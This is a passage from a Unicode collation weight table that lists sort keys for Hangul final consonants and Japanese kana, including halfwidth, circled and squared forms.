+11C7 ; [.3B59.0020.0002] # HANGUL JONGSEONG NIEUN-SIOS +3167 ; [.3B59.0020.0004] # HANGUL LETTER NIEUN-SIOS +11C8 ; [.3B5A.0020.0002] # HANGUL JONGSEONG NIEUN-PANSIOS +3168 ; [.3B5A.0020.0004] # HANGUL LETTER NIEUN-PANSIOS +11C9 ; [.3B5B.0020.0002] # HANGUL JONGSEONG NIEUN-THIEUTH +11CA ; [.3B5C.0020.0002] # HANGUL JONGSEONG TIKEUT-KIYEOK +11CB ; [.3B5D.0020.0002] # HANGUL JONGSEONG TIKEUT-RIEUL +11CC ; [.3B5E.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-SIOS +3169 ; [.3B5E.0020.0004] # HANGUL LETTER RIEUL-KIYEOK-SIOS +11CD ; [.3B5F.0020.0002] # HANGUL JONGSEONG RIEUL-NIEUN +11CE ; [.3B60.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT +316A ; [.3B60.0020.0004] # HANGUL LETTER RIEUL-TIKEUT +11CF ; [.3B61.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH +11D0 ; [.3B62.0020.0002] # HANGUL JONGSEONG SSANGRIEUL +11D1 ; [.3B63.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK +11D2 ; [.3B64.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-SIOS +11D3 ; [.3B65.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-SIOS +316B ; [.3B65.0020.0004] # HANGUL LETTER RIEUL-PIEUP-SIOS +11D4 ; [.3B66.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-HIEUH +11D5 ; [.3B67.0020.0002] # HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP +11D6 ; [.3B68.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGSIOS +11D7 ; [.3B69.0020.0002] # HANGUL JONGSEONG RIEUL-PANSIOS +316C ; [.3B69.0020.0004] # HANGUL LETTER RIEUL-PANSIOS +11D8 ; [.3B6A.0020.0002] # HANGUL JONGSEONG RIEUL-KHIEUKH +11D9 ; [.3B6B.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH +316D ; [.3B6B.0020.0004] # HANGUL LETTER RIEUL-YEORINHIEUH +11DA ; [.3B6C.0020.0002] # HANGUL JONGSEONG MIEUM-KIYEOK +11DB ; [.3B6D.0020.0002] # HANGUL JONGSEONG MIEUM-RIEUL +11DC ; [.3B6E.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP +11DD ; [.3B6F.0020.0002] # HANGUL JONGSEONG MIEUM-SIOS +316F ; [.3B6F.0020.0004] # HANGUL LETTER MIEUM-SIOS +11DE ; [.3B70.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGSIOS +11DF ; [.3B71.0020.0002] # HANGUL JONGSEONG MIEUM-PANSIOS +3170 ; [.3B71.0020.0004] # HANGUL LETTER MIEUM-PANSIOS +11E0 ; [.3B72.0020.0002] # HANGUL JONGSEONG MIEUM-CHIEUCH +11E1 ; [.3B73.0020.0002] # HANGUL JONGSEONG MIEUM-HIEUH +11E2 ; [.3B74.0020.0002] # HANGUL JONGSEONG KAPYEOUNMIEUM +11E3 ; [.3B75.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL +11E4 ; [.3B76.0020.0002] # HANGUL JONGSEONG PIEUP-PHIEUPH +11E5 ; [.3B77.0020.0002] # HANGUL JONGSEONG PIEUP-HIEUH +11E6 ; [.3B78.0020.0002] # HANGUL JONGSEONG KAPYEOUNPIEUP +11E7 ; [.3B79.0020.0002] # HANGUL JONGSEONG SIOS-KIYEOK +11E8 ; [.3B7A.0020.0002] # HANGUL JONGSEONG SIOS-TIKEUT +11E9 ; [.3B7B.0020.0002] # HANGUL JONGSEONG SIOS-RIEUL +11EA ; [.3B7C.0020.0002] # HANGUL JONGSEONG SIOS-PIEUP +11EB ; [.3B7D.0020.0002] # HANGUL JONGSEONG PANSIOS +11EC ; [.3B7E.0020.0002] # HANGUL JONGSEONG IEUNG-KIYEOK +11ED ; [.3B7F.0020.0002] # HANGUL JONGSEONG IEUNG-SSANGKIYEOK +11EE ; [.3B80.0020.0002] # HANGUL JONGSEONG SSANGIEUNG +11EF ; [.3B81.0020.0002] # HANGUL JONGSEONG IEUNG-KHIEUKH +11F0 ; [.3B82.0020.0002] # HANGUL JONGSEONG YESIEUNG +11F1 ; [.3B83.0020.0002] # HANGUL JONGSEONG YESIEUNG-SIOS +3182 ; [.3B83.0020.0004] # HANGUL LETTER YESIEUNG-SIOS +11F2 ; [.3B84.0020.0002] # HANGUL JONGSEONG YESIEUNG-PANSIOS +3183 ; [.3B84.0020.0004] # HANGUL LETTER YESIEUNG-PANSIOS +11F3 ; [.3B85.0020.0002] # HANGUL JONGSEONG PHIEUPH-PIEUP +11F4 ; [.3B86.0020.0002] # HANGUL JONGSEONG KAPYEOUNPHIEUPH +11F5 ; [.3B87.0020.0002] # HANGUL JONGSEONG HIEUH-NIEUN +11F6 ; [.3B88.0020.0002] # HANGUL JONGSEONG HIEUH-RIEUL +11F7 ; [.3B89.0020.0002] # HANGUL JONGSEONG HIEUH-MIEUM +11F8 ; [.3B8A.0020.0002] # HANGUL JONGSEONG HIEUH-PIEUP +11F9 ; [.3B8B.0020.0002] # HANGUL JONGSEONG YEORINHIEUH +11FA ; [.3B8C.0020.0002] # HANGUL JONGSEONG KIYEOK-NIEUN +11FB ; [.3B8D.0020.0002] # HANGUL JONGSEONG KIYEOK-PIEUP +11FC ; [.3B8E.0020.0002] # HANGUL JONGSEONG KIYEOK-CHIEUCH +11FD ; [.3B8F.0020.0002] # HANGUL JONGSEONG KIYEOK-KHIEUKH +11FE ; [.3B90.0020.0002] # HANGUL JONGSEONG KIYEOK-HIEUH +11FF ; [.3B91.0020.0002] # HANGUL JONGSEONG SSANGNIEUN +D7CB ; [.3B92.0020.0002] # HANGUL JONGSEONG NIEUN-RIEUL +D7CC ; [.3B93.0020.0002] # HANGUL JONGSEONG NIEUN-CHIEUCH +D7CD ; [.3B94.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT +D7CE ; [.3B95.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT-PIEUP +D7CF ; [.3B96.0020.0002] # HANGUL JONGSEONG TIKEUT-PIEUP +D7D0 ; [.3B97.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS +D7D1 ; [.3B98.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK +D7D2 ; [.3B99.0020.0002] # HANGUL JONGSEONG TIKEUT-CIEUC +D7D3 ; [.3B9A.0020.0002] # HANGUL JONGSEONG TIKEUT-CHIEUCH +D7D4 ; [.3B9B.0020.0002] # HANGUL JONGSEONG TIKEUT-THIEUTH +D7D5 ; [.3B9C.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGKIYEOK +D7D6 ; [.3B9D.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH +D7D7 ; [.3B9E.0020.0002] # HANGUL JONGSEONG SSANGRIEUL-KHIEUKH +D7D8 ; [.3B9F.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-HIEUH +D7D9 ; [.3BA0.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT +D7DA ; [.3BA1.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH +D7DB ; [.3BA2.0020.0002] # HANGUL JONGSEONG RIEUL-YESIEUNG +D7DC ; [.3BA3.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH +D7DD ; [.3BA4.0020.0002] # HANGUL JONGSEONG KAPYEOUNRIEUL +D7DE ; [.3BA5.0020.0002] # HANGUL JONGSEONG MIEUM-NIEUN +D7DF ; [.3BA6.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGNIEUN +D7E0 ; [.3BA7.0020.0002] # HANGUL JONGSEONG SSANGMIEUM +D7E1 ; [.3BA8.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP-SIOS +D7E2 ; [.3BA9.0020.0002] # HANGUL JONGSEONG MIEUM-CIEUC +D7E3 ; [.3BAA.0020.0002] # HANGUL JONGSEONG PIEUP-TIKEUT +D7E4 ; [.3BAB.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH +D7E5 ; [.3BAC.0020.0002] # HANGUL JONGSEONG PIEUP-MIEUM +D7E6 ; [.3BAD.0020.0002] # HANGUL JONGSEONG SSANGPIEUP +D7E7 ; [.3BAE.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS-TIKEUT +D7E8 ; [.3BAF.0020.0002] # HANGUL JONGSEONG PIEUP-CIEUC +D7E9 ; [.3BB0.0020.0002] # HANGUL JONGSEONG PIEUP-CHIEUCH +D7EA ; [.3BB1.0020.0002] # HANGUL JONGSEONG SIOS-MIEUM +D7EB ; [.3BB2.0020.0002] # HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP +D7EC ; [.3BB3.0020.0002] # HANGUL JONGSEONG SSANGSIOS-KIYEOK +D7ED ; [.3BB4.0020.0002] # HANGUL JONGSEONG SSANGSIOS-TIKEUT +D7EE ; [.3BB5.0020.0002] # HANGUL JONGSEONG SIOS-PANSIOS +D7EF ; [.3BB6.0020.0002] # HANGUL JONGSEONG SIOS-CIEUC +D7F0 ; [.3BB7.0020.0002] # HANGUL JONGSEONG SIOS-CHIEUCH +D7F1 ; [.3BB8.0020.0002] # HANGUL JONGSEONG SIOS-THIEUTH +D7F2 ; [.3BB9.0020.0002] # HANGUL JONGSEONG SIOS-HIEUH +D7F3 ; [.3BBA.0020.0002] # HANGUL JONGSEONG PANSIOS-PIEUP +D7F4 ; [.3BBB.0020.0002] # HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP +D7F5 ; [.3BBC.0020.0002] # HANGUL JONGSEONG YESIEUNG-MIEUM +D7F6 ; [.3BBD.0020.0002] # HANGUL JONGSEONG YESIEUNG-HIEUH +D7F7 ; [.3BBE.0020.0002] # HANGUL JONGSEONG CIEUC-PIEUP +D7F8 ; [.3BBF.0020.0002] # HANGUL JONGSEONG CIEUC-SSANGPIEUP +D7F9 ; [.3BC0.0020.0002] # HANGUL JONGSEONG SSANGCIEUC +D7FA ; [.3BC1.0020.0002] # HANGUL JONGSEONG PHIEUPH-SIOS +D7FB ; [.3BC2.0020.0002] # HANGUL JONGSEONG PHIEUPH-THIEUTH +3041 ; [.3BC3.0020.000D] # HIRAGANA LETTER SMALL A +3042 ; [.3BC3.0020.000E] # HIRAGANA LETTER A +30A1 ; [.3BC3.0020.000F] # KATAKANA LETTER SMALL A +FF67 ; [.3BC3.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL A +30A2 ; [.3BC3.0020.0011] # KATAKANA LETTER A +FF71 ; [.3BC3.0020.0012] # HALFWIDTH KATAKANA LETTER A +32D0 ; [.3BC3.0020.0013] # CIRCLED KATAKANA A +3303 ; [.3BC3.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE AARU +3300 ; [.3BC3.0020.001C][.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD7.0020.001C] # SQUARE APAATO +3301 ; [.3BC3.0020.001C][.3BED.0020.001C][.3BDF.0020.001C][.3BC3.0020.001C] # SQUARE ARUHUA +3302 ; [.3BC3.0020.001C][.3BF4.0020.001C][.3BE0.0020.001C][.0000.0038.001C][.3BC3.0020.001C] # SQUARE ANPEA +3043 ; [.3BC4.0020.000D] # HIRAGANA LETTER SMALL I +3044 ; [.3BC4.0020.000E] # HIRAGANA LETTER I +30A3 ; [.3BC4.0020.000F] # KATAKANA LETTER SMALL I +FF68 ; [.3BC4.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL I +30A4 ; [.3BC4.0020.0011] # KATAKANA LETTER I +FF72 ; [.3BC4.0020.0012] # HALFWIDTH KATAKANA LETTER I +32D1 ; [.3BC4.0020.0013] # CIRCLED KATAKANA I +3304 ; [.3BC4.0020.001C][.3BD9.0020.001C][.3BF4.0020.001C][.3BCB.0020.001C][.0000.0037.001C] # SQUARE ININGU +3305 ; [.3BC4.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C] # SQUARE INTI +3045 ; [.3BC5.0020.000D] # HIRAGANA LETTER SMALL U +3046 ; [.3BC5.0020.000E] # HIRAGANA LETTER U +30A5 ; [.3BC5.0020.000F] # KATAKANA LETTER SMALL U +FF69 ; [.3BC5.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL U +30A6 ; [.3BC5.0020.0011] # KATAKANA LETTER U +FF73 ; [.3BC5.0020.0012] # HALFWIDTH KATAKANA LETTER U +32D2 ; [.3BC5.0020.0013] # CIRCLED KATAKANA U +3094 ; [.3BC5.0020.000E][.0000.0037.0002] # HIRAGANA LETTER VU +30F4 ; [.3BC5.0020.0011][.0000.0037.0002] # KATAKANA LETTER VU +3306 ; [.3BC5.0020.001C][.3BC8.0020.001C][.3BF4.0020.001C] # SQUARE UON +1B000 ; [.3BC6.0020.0011] # KATAKANA LETTER ARCHAIC E +3047 ; [.3BC7.0020.000D] # HIRAGANA LETTER SMALL E +3048 ; [.3BC7.0020.000E] # HIRAGANA LETTER E +30A7 ; [.3BC7.0020.000F] # KATAKANA LETTER SMALL E +FF6A ; [.3BC7.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL E +30A8 ; [.3BC7.0020.0011] # KATAKANA LETTER E +FF74 ; [.3BC7.0020.0012] # HALFWIDTH KATAKANA LETTER E +32D3 ; [.3BC7.0020.0013] # CIRCLED KATAKANA E +3308 ; [.3BC7.0020.001C][.1B89.0020.001C][.3BC9.0020.001C][.1B89.0020.001C] # SQUARE EEKAA +3307 ; [.3BC7.0020.001C][.3BD0.0020.001C][.3BCB.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE ESUKUUDO +3049 ; [.3BC8.0020.000D] # HIRAGANA LETTER SMALL O +304A ; [.3BC8.0020.000E] # HIRAGANA LETTER O +30A9 ; [.3BC8.0020.000F] # KATAKANA LETTER SMALL O +FF6B ; [.3BC8.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL O +30AA ; [.3BC8.0020.0011] # KATAKANA LETTER O +FF75 ; [.3BC8.0020.0012] # HALFWIDTH KATAKANA LETTER O +32D4 ; [.3BC8.0020.0013] # CIRCLED KATAKANA O +330A ; [.3BC8.0020.001C][.1B89.0020.001C][.3BE4.0020.001C] # SQUARE OOMU +3309 ; [.3BC8.0020.001C][.3BF4.0020.001C][.3BD0.0020.001C] # SQUARE ONSU +3095 ; [.3BC9.0020.000D] # HIRAGANA LETTER SMALL KA +304B ; [.3BC9.0020.000E] # HIRAGANA LETTER KA +30F5 ; [.3BC9.0020.000F] # KATAKANA LETTER SMALL KA +30AB ; [.3BC9.0020.0011] # KATAKANA LETTER KA +FF76 ; [.3BC9.0020.0012] # HALFWIDTH KATAKANA LETTER KA +32D5 ; [.3BC9.0020.0013] # CIRCLED KATAKANA KA +304C ; [.3BC9.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GA +30AC ; [.3BC9.0020.0011][.0000.0037.0002] # KATAKANA LETTER GA +330B ; [.3BC9.0020.001C][.3BC4.0020.001C][.3BEC.0020.001C] # SQUARE KAIRI +330C ; [.3BC9.0020.001C][.3BEB.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE KARATTO +330D ; [.3BC9.0020.001C][.3BEF.0020.001C][.3BEC.0020.001C][.1B89.0020.001C] # SQUARE KARORII +330E ; [.3BC9.0020.001C][.0000.0037.001C][.3BEF.0020.001C][.3BF4.0020.001C] # SQUARE GARON +330F ; [.3BC9.0020.001C][.0000.0037.001C][.3BF4.0020.001C][.3BE2.0020.001C] # SQUARE GANMA +304D ; [.3BCA.0020.000E] # HIRAGANA LETTER KI +30AD ; [.3BCA.0020.0011] # KATAKANA LETTER KI +FF77 ; [.3BCA.0020.0012] # HALFWIDTH KATAKANA LETTER KI +32D6 ; [.3BCA.0020.0013] # CIRCLED KATAKANA KI +304E ; [.3BCA.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GI +30AE ; [.3BCA.0020.0011][.0000.0037.0002] # KATAKANA LETTER GI +3310 ; [.3BCA.0020.001C][.0000.0037.001C][.3BC9.0020.001C][.0000.0037.001C] # SQUARE GIGA +3311 ; [.3BCA.0020.001C][.0000.0037.001C][.3BD9.0020.001C][.1B89.0020.001C] # SQUARE GINII +3312 ; [.3BCA.0020.001C][.3BE8.0020.001C][.3BEC.0020.001C][.1B89.0020.001C] # SQUARE KYURII +3313 ; [.3BCA.0020.001C][.0000.0037.001C][.3BED.0020.001C][.3BD3.0020.001C][.0000.0037.001C][.1B89.0020.001C] # SQUARE GIRUDAA +3314 ; [.3BCA.0020.001C][.3BEF.0020.001C] # SQUARE KIRO +3315 ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C] # SQUARE KIROGURAMU +3316 ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BE5.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE KIROMEETORU +3317 ; [.3BCA.0020.001C][.3BEF.0020.001C][.3BF0.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE KIROWATTO +304F ; [.3BCB.0020.000E] # HIRAGANA LETTER KU +31F0 ; [.3BCB.0020.000F] # KATAKANA LETTER SMALL KU +30AF ; [.3BCB.0020.0011] # KATAKANA LETTER KU +FF78 ; [.3BCB.0020.0012] # HALFWIDTH KATAKANA LETTER KU +32D7 ; [.3BCB.0020.0013] # CIRCLED KATAKANA KU +3050 ; [.3BCB.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GU +30B0 ; [.3BCB.0020.0011][.0000.0037.0002] # KATAKANA LETTER GU +3318 ; [.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C] # SQUARE GURAMU +3319 ; [.3BCB.0020.001C][.0000.0037.001C][.3BEB.0020.001C][.3BE4.0020.001C][.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE GURAMUTON +331A ; [.3BCB.0020.001C][.3BED.0020.001C][.3BD1.0020.001C][.0000.0037.001C][.3BC4.0020.001C][.3BEF.0020.001C] # SQUARE KURUZEIRO +331B ; [.3BCB.0020.001C][.3BEF.0020.001C][.1B89.0020.001C][.3BDB.0020.001C] # SQUARE KUROONE +3096 ; [.3BCC.0020.000D] # HIRAGANA LETTER SMALL KE +3051 ; [.3BCC.0020.000E] # HIRAGANA LETTER KE +30F6 ; [.3BCC.0020.000F] # KATAKANA LETTER SMALL KE +30B1 ; [.3BCC.0020.0011] # KATAKANA LETTER KE +FF79 ; [.3BCC.0020.0012] # HALFWIDTH KATAKANA LETTER KE +32D8 ; [.3BCC.0020.0013] # CIRCLED KATAKANA KE +3052 ; [.3BCC.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GE +30B2 ; [.3BCC.0020.0011][.0000.0037.0002] # KATAKANA LETTER GE +331C ; [.3BCC.0020.001C][.1B89.0020.001C][.3BD0.0020.001C] # SQUARE KEESU +3053 ; [.3BCD.0020.000E] # HIRAGANA LETTER KO +30B3 ; [.3BCD.0020.0011] # KATAKANA LETTER KO +FF7A ; [.3BCD.0020.0012] # HALFWIDTH KATAKANA LETTER KO +32D9 ; [.3BCD.0020.0013] # CIRCLED KATAKANA KO +3054 ; [.3BCD.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GO +30B4 ; [.3BCD.0020.0011][.0000.0037.0002] # KATAKANA LETTER GO +331E ; [.3BCD.0020.001C][.1B89.0020.001C][.3BE1.0020.001C][.0000.0038.001C] # SQUARE KOOPO +1F201 ; [.3BCD.0020.001C][.3BCD.0020.001C] # SQUARED KATAKANA KOKO +30FF ; [.3BCD.0020.0016][.3BD7.0020.0016] # KATAKANA DIGRAPH KOTO +331D ; [.3BCD.0020.001C][.3BED.0020.001C][.3BD8.0020.001C] # SQUARE KORUNA +3055 ; [.3BCE.0020.000E] # HIRAGANA LETTER SA +30B5 ; [.3BCE.0020.0011] # KATAKANA LETTER SA +FF7B ; [.3BCE.0020.0012] # HALFWIDTH KATAKANA LETTER SA +32DA ; [.3BCE.0020.0013] # CIRCLED KATAKANA SA +1F202 ; [.3BCE.0020.001C] # SQUARED KATAKANA SA +3056 ; [.3BCE.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZA +30B6 ; [.3BCE.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZA +331F ; [.3BCE.0020.001C][.3BC4.0020.001C][.3BCB.0020.001C][.3BED.0020.001C] # SQUARE SAIKURU +3320 ; [.3BCE.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C][.1B89.0020.001C][.3BE4.0020.001C] # SQUARE SANTIIMU +3057 ; [.3BCF.0020.000E] # HIRAGANA LETTER SI +31F1 ; [.3BCF.0020.000F] # KATAKANA LETTER SMALL SI +30B7 ; [.3BCF.0020.0011] # KATAKANA LETTER SI +FF7C ; [.3BCF.0020.0012] # HALFWIDTH KATAKANA LETTER SI +32DB ; [.3BCF.0020.0013] # CIRCLED KATAKANA SI +3058 ; [.3BCF.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZI +30B8 ; [.3BCF.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZI +3006 ; [.3BCF.0020.0004][.3BE5.0020.0004] # IDEOGRAPHIC CLOSING MARK +3321 ; [.3BCF.0020.001C][.3BEC.0020.001C][.3BF4.0020.001C][.3BCB.0020.001C][.0000.0037.001C] # SQUARE SIRINGU +3059 ; [.3BD0.0020.000E] # HIRAGANA LETTER SU +31F2 ; [.3BD0.0020.000F] # KATAKANA LETTER SMALL SU +30B9 ; [.3BD0.0020.0011] # KATAKANA LETTER SU +FF7D ; [.3BD0.0020.0012] # HALFWIDTH KATAKANA LETTER SU +32DC ; [.3BD0.0020.0013] # CIRCLED KATAKANA SU +305A ; [.3BD0.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZU +30BA ; [.3BD0.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZU +305B ; [.3BD1.0020.000E] # HIRAGANA LETTER SE +30BB ; [.3BD1.0020.0011] # KATAKANA LETTER SE +FF7E ; [.3BD1.0020.0012] # HALFWIDTH KATAKANA LETTER SE +32DD ; [.3BD1.0020.0013] # CIRCLED KATAKANA SE +305C ; [.3BD1.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZE +30BC ; [.3BD1.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZE +3322 ; [.3BD1.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C] # SQUARE SENTI +3323 ; [.3BD1.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE SENTO +305D ; [.3BD2.0020.000E] # HIRAGANA LETTER SO +30BD ; [.3BD2.0020.0011] # KATAKANA LETTER SO +FF7F ; [.3BD2.0020.0012] # HALFWIDTH KATAKANA LETTER SO +32DE ; [.3BD2.0020.0013] # CIRCLED KATAKANA SO +305E ; [.3BD2.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZO +30BE ; [.3BD2.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZO +305F ; [.3BD3.0020.000E] # HIRAGANA LETTER TA +30BF ; [.3BD3.0020.0011] # KATAKANA LETTER TA +FF80 ; [.3BD3.0020.0012] # HALFWIDTH KATAKANA LETTER TA +32DF ; [.3BD3.0020.0013] # CIRCLED KATAKANA TA +3060 ; [.3BD3.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DA +30C0 ; [.3BD3.0020.0011][.0000.0037.0002] # KATAKANA LETTER DA +3324 ; [.3BD3.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BD0.0020.001C] # SQUARE DAASU +3061 ; [.3BD4.0020.000E] # HIRAGANA LETTER TI +30C1 ; [.3BD4.0020.0011] # KATAKANA LETTER TI +FF81 ; [.3BD4.0020.0012] # HALFWIDTH KATAKANA LETTER TI +32E0 ; [.3BD4.0020.0013] # CIRCLED KATAKANA TI +3062 ; [.3BD4.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DI +30C2 ; [.3BD4.0020.0011][.0000.0037.0002] # KATAKANA LETTER DI +3063 ; [.3BD5.0020.000D] # HIRAGANA LETTER SMALL TU +3064 ; [.3BD5.0020.000E] # HIRAGANA LETTER TU +30C3 ; [.3BD5.0020.000F] # KATAKANA LETTER SMALL TU +FF6F ; [.3BD5.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL TU +30C4 ; [.3BD5.0020.0011] # KATAKANA LETTER TU +FF82 ; [.3BD5.0020.0012] # HALFWIDTH KATAKANA LETTER TU +32E1 ; [.3BD5.0020.0013] # CIRCLED KATAKANA TU +3065 ; [.3BD5.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DU +30C5 ; [.3BD5.0020.0011][.0000.0037.0002] # KATAKANA LETTER DU +3066 ; [.3BD6.0020.000E] # HIRAGANA LETTER TE +30C6 ; [.3BD6.0020.0011] # KATAKANA LETTER TE +FF83 ; [.3BD6.0020.0012] # HALFWIDTH KATAKANA LETTER TE +32E2 ; [.3BD6.0020.0013] # CIRCLED KATAKANA TE +3067 ; [.3BD6.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DE +30C7 ; [.3BD6.0020.0011][.0000.0037.0002] # KATAKANA LETTER DE +1F213 ; [.3BD6.0020.001C][.0000.0037.001C] # SQUARED KATAKANA DE +3325 ; [.3BD6.0020.001C][.0000.0037.001C][.3BCF.0020.001C] # SQUARE DESI +3068 ; [.3BD7.0020.000E] # HIRAGANA LETTER TO +31F3 ; [.3BD7.0020.000F] # KATAKANA LETTER SMALL TO +30C8 ; [.3BD7.0020.0011] # KATAKANA LETTER TO +FF84 ; [.3BD7.0020.0012] # HALFWIDTH KATAKANA LETTER TO +32E3 ; [.3BD7.0020.0013] # CIRCLED KATAKANA TO +3069 ; [.3BD7.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DO +30C9 ; [.3BD7.0020.0011][.0000.0037.0002] # KATAKANA LETTER DO +3326 ; [.3BD7.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE DORU +3327 ; [.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE TON +306A ; [.3BD8.0020.000E] # HIRAGANA LETTER NA +30CA ; [.3BD8.0020.0011] # KATAKANA LETTER NA +FF85 ; [.3BD8.0020.0012] # HALFWIDTH KATAKANA LETTER NA +32E4 ; [.3BD8.0020.0013] # CIRCLED KATAKANA NA +3328 ; [.3BD8.0020.001C][.3BDC.0020.001C] # SQUARE NANO +306B ; [.3BD9.0020.000E] # HIRAGANA LETTER NI +30CB ; [.3BD9.0020.0011] # KATAKANA LETTER NI +FF86 ; [.3BD9.0020.0012] # HALFWIDTH KATAKANA LETTER NI +32E5 ; [.3BD9.0020.0013] # CIRCLED KATAKANA NI +306C ; [.3BDA.0020.000E] # HIRAGANA LETTER NU +31F4 ; [.3BDA.0020.000F] # KATAKANA LETTER SMALL NU +30CC ; [.3BDA.0020.0011] # KATAKANA LETTER NU +FF87 ; [.3BDA.0020.0012] # HALFWIDTH KATAKANA LETTER NU +32E6 ; [.3BDA.0020.0013] # CIRCLED KATAKANA NU +306D ; [.3BDB.0020.000E] # HIRAGANA LETTER NE +30CD ; [.3BDB.0020.0011] # KATAKANA LETTER NE +FF88 ; [.3BDB.0020.0012] # HALFWIDTH KATAKANA LETTER NE +32E7 ; [.3BDB.0020.0013] # CIRCLED KATAKANA NE +306E ; [.3BDC.0020.000E] # HIRAGANA LETTER NO +30CE ; [.3BDC.0020.0011] # KATAKANA LETTER NO +FF89 ; [.3BDC.0020.0012] # HALFWIDTH KATAKANA LETTER NO +32E8 ; [.3BDC.0020.0013] # CIRCLED KATAKANA NO +3329 ; [.3BDC.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE NOTTO +306F ; [.3BDD.0020.000E] # HIRAGANA LETTER HA +31F5 ; [.3BDD.0020.000F] # KATAKANA LETTER SMALL HA +30CF ; [.3BDD.0020.0011] # KATAKANA LETTER HA +FF8A ; [.3BDD.0020.0012] # HALFWIDTH KATAKANA LETTER HA +32E9 ; [.3BDD.0020.0013] # CIRCLED KATAKANA HA +3070 ; [.3BDD.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BA +30D0 ; [.3BDD.0020.0011][.0000.0037.0002] # KATAKANA LETTER BA +3071 ; [.3BDD.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PA +30D1 ; [.3BDD.0020.0011][.0000.0038.0002] # KATAKANA LETTER PA +332B ; [.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD1.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE PAASENTO +332C ; [.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD5.0020.001C] # SQUARE PAATU +332D ; [.3BDD.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BEE.0020.001C][.3BED.0020.001C] # SQUARE BAARERU +332A ; [.3BDD.0020.001C][.3BC4.0020.001C][.3BD5.0020.001C] # SQUARE HAITU +3072 ; [.3BDE.0020.000E] # HIRAGANA LETTER HI +31F6 ; [.3BDE.0020.000F] # KATAKANA LETTER SMALL HI +30D2 ; [.3BDE.0020.0011] # KATAKANA LETTER HI +FF8B ; [.3BDE.0020.0012] # HALFWIDTH KATAKANA LETTER HI +32EA ; [.3BDE.0020.0013] # CIRCLED KATAKANA HI +3073 ; [.3BDE.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BI +30D3 ; 